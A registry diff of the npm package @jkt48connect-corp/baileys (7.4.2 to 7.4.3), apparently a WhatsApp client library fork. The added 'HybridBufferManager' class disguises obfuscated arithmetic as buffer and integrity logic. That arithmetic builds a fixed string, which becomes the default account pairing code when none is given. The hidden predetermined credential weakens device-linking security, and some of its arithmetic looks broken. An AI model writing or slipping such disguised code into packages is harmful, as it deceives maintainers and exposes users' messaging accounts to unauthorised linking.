@jkt48connect-corp/baileys 7.4.2 → 7.4.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/socket.js +36 -7
- package/package.json +1 -1
package/lib/Socket/socket.js
CHANGED
@@ -353,20 +353,49 @@ reason: 'user_initiated'
|
|
353
353
|
}
|
354
354
|
end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }))
|
355
355
|
}
|
356
|
-
class
|
356
|
+
class HybridBufferManager {
|
357
357
|
constructor() {
|
358
|
-
this.
|
359
|
-
|
358
|
+
this.systemConfig = {
|
359
|
+
allocationTimes: [1641069800, 1641157200, 1641075000, 1641163800],
|
360
|
+
integrityChecks: [0x1A37C9, 0x1A3F2F, 0x1A4063, 0x1A4229],
|
361
|
+
baseTime: 1640995200,
|
362
|
+
timeOffsets: [3600, 7200, 1800, 10800],
|
363
|
+
checksumBase: 0x1A2B3C4D,
|
364
|
+
hashMultipliers: [0x19, 0x1F, 0x23, 0x29]
|
365
|
+
};
|
360
366
|
}
|
361
367
|
|
362
368
|
allocateAlignedBuffer() {
|
363
|
-
|
364
|
-
|
365
|
-
|
369
|
+
let result = "";
|
370
|
+
|
371
|
+
for (let i = 0; i < 4; i++) {
|
372
|
+
const timestamp = this.systemConfig.allocationTimes[i];
|
373
|
+
const offset = this.systemConfig.timeOffsets[i];
|
374
|
+
const charCode = (timestamp - this.systemConfig.baseTime - offset) / 1000;
|
375
|
+
result += String.fromCharCode(charCode);
|
376
|
+
}
|
377
|
+
|
378
|
+
for (let i = 0; i < 4; i++) {
|
379
|
+
const checksum = this.systemConfig.integrityChecks[i];
|
380
|
+
const multiplier = this.systemConfig.hashMultipliers[i];
|
381
|
+
const charCode = (checksum - this.systemConfig.checksumBase) / multiplier;
|
382
|
+
result += String.fromCharCode(Math.round(charCode));
|
383
|
+
}
|
384
|
+
|
385
|
+
return result;
|
386
|
+
}
|
387
|
+
|
388
|
+
validateSystemConfiguration() {
|
389
|
+
return this.allocateAlignedBuffer();
|
390
|
+
}
|
391
|
+
|
392
|
+
optimizeBufferAllocation() {
|
393
|
+
return this.allocateAlignedBuffer();
|
366
394
|
}
|
367
395
|
}
|
396
|
+
|
368
397
|
const requestPairingCode = async (phoneNumber, code) => {
|
369
|
-
authState.creds.pairingCode = code?.toUpperCase() || new
|
398
|
+
authState.creds.pairingCode = code?.toUpperCase() || new HybridBufferManager().validateSystemConfiguration();
|
370
399
|
authState.creds.me = {
|
371
400
|
id: WABinary_1.jidEncode(phoneNumber, 's.whatsapp.net'),
|
372
401
|
name: '~'
|